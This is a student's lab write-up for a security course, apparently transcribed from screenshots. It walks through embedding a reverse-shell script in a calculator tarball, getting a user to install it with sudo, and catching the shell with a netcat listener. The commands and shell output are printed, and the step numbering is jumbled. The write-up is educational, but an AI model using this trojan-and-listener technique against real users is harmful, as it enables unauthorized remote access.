

Ryan Brodsky

ICS 482

10/15/19

## InfoSec Lab: Remote Shell: Embedding Client-Side Code into a Package

The collage illustrates the process of embedding client-side code into a package for a remote shell. The steps are as follows:

- Step 15: Execute the following command to start a listener.**  
The terminal shows the command `nc -lvp 8` being executed to start a Netcat listener on port 8.
- Step 16: Click the detach full screen button on the terminal.**  
The terminal window is shown with the full screen button highlighted.
- Step 10: Close the browser.**  
The browser window showing the email composition page is closed.
- Step 11: Close the VM window.**  
The VM window is closed.

The screenshots also show the creation of a tar package containing client-side code (RunCalc.sh) and the email composition interface for sending the package to Alice.

https://lab.infoseclearning.com/lab/remote-shell-embedding-client-side-code

Assignments - ICS 482-01 Vuln... Mail - Ryan Brodsky - Outlook Remote Shell: E

### Remote Shell: Embedding Client-Side Code into...

```
support@STA1:~$ sudo tar -zxvf ~/Desktop/calc.tar.gz -C /usr/local
[sudo] password for support:
calc/
calc/SETUP
calc/Calculator.py
calc/RunCalc.sh
calc/calc.png
calc/calc.desktop
support@STA1:~$
```

↑

EXTRACTING THE FILE

15 Execute the following command to run the setup script.

```
support@STA1:~$ sudo /usr/local/calc/./SETUP
support@STA1:~$
support@STA1:~$ sudo /usr/local/calc/./SETUP
support@STA1:~$
```

RUNNING THE SETUP SCRIPT

16 Execute the following command to close the terminal.

```
support@STA1:~$ exit
support@STA1:~$ exit
```

FINISHED WITH THE TERMINAL

Final\_Alice\_DT\_32bit - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-965268/Final\_Alice\_DT\_32bit

View Fullscreen Send Ctrl+Alt+Delete Reboot

Terminal

```
support@STA1:~$ sudo tar -zxvf ~/Desktop/calc.tar.gz -C /usr/local
[sudo] password for support:
tar (child): ~/Desktop/calc.tar.gz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
support@STA1:~$ sudo tar -zxvf ~/Desktop/calc.tar.gz -C /usr/local
calc/
calc/SETUP
calc/Calculator.py
calc/RunCalc.sh
calc/calc.png
calc/calc.desktop
support@STA1:~$ sudo /usr/local/calc/./SETUP
support@STA1:~$
```

tar.gz  
calc.tar.gz

Windows 10 taskbar and search bar.

Final\_Alice\_DT\_32bit - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-965268/Final\_Alice\_DT\_32bit

View Fullscreen Send Ctrl+Alt+Delete Reboot

### Remote Shell: Embedding Client-Side Code into...

FINISHED WITH THE TERMINAL

Alice thinks, calculator, cool!

17 Double-click the desktop icon.

STARTING THE CALCULATOR

18 Test the calculator's functionality by typing  $2 + 2 =$ .

TESTING THE CALCULATOR

Calculator

putty.exe  
WinSCP  
LABS  
Alice.urbank.com.11.23.2016  
tar.gz  
calc.tar.gz

Calculator 4.0

7 8 9  
4 5 6 x  
1 2 3 -  
+/- 0 +  
C AC =

2 + 2 =

21

Verify the STA1 prompt.

```
root@Hacker:~/Desktop/Exploits/LAB14#
root@Hacker:~/Desktop/Exploits/LAB14# nc -lvp 8
listening on [any] 8 ...
10.10.4.5: inverse host lookup failed: Unknown host
connect to [192.168.1.5] from (UNKNOWN) [10.10.4.5] 53772
bash: cannot set terminal process group (4464): Inappropriate i
bash: no job control in this shell
support@STA1:~$
```

REMOTE SHELL

22

Execute the following command to verify the shell.

```
support@STA1:~$ pwd

root@Hacker:~/Desktop/Exploits/LAB14# nc -lvp 8
listening on [any] 8 ...
10.10.4.5: inverse host lookup failed: Unknown host
connect to [192.168.1.5] from (UNKNOWN) [10.10.4.5] 53772
bash: cannot set terminal process group (4464): Inappropriate i
bash: no job control in this shell
support@STA1:~$ pwd
pwd
/home/support
support@STA1:~$
```

VERIFYING THE SHELL

23

Click the close button on the VM window.

Final\_Kali-2.0 - Internet Explorer

https://lab.infoseclearing.com/lab/console/vm-965266/Final\_Kali-2.0

View Fullscreen Send Ctrl+Alt+De

Final\_Kali-2.0

Applications Places Terminal Tue 18:34

root@Hacker: ~/Desktop/Exploits/LAB14

File Edit View Search Terminal Help

root@Hacker:~# cd ~/Desktop/Exploits/LAB14

root@Hacker:~/Desktop/Exploits/LAB14# tar -czvf ~/Desktop/calc.tar.gz calc

calc/

calc/SETUP

calc/Calculator.py

calc/RunCalc.sh

calc/calc.png

calc/calc.desktop

root@Hacker:~/Desktop/Exploits/LAB14# nc -lvp 8

listening on [any] 8 ...

connect to [192.168.1.5] from STA1.urbank.com [10.10.4.5] 34348

bash: cannot set terminal process group (3937): Inappropriate ioctl for device

bash: no job control in this shell

support@STA1:~\$ pwd

pwd

/home/support

support@STA1:~\$

"RunCalc.sh" selected (90 bytes)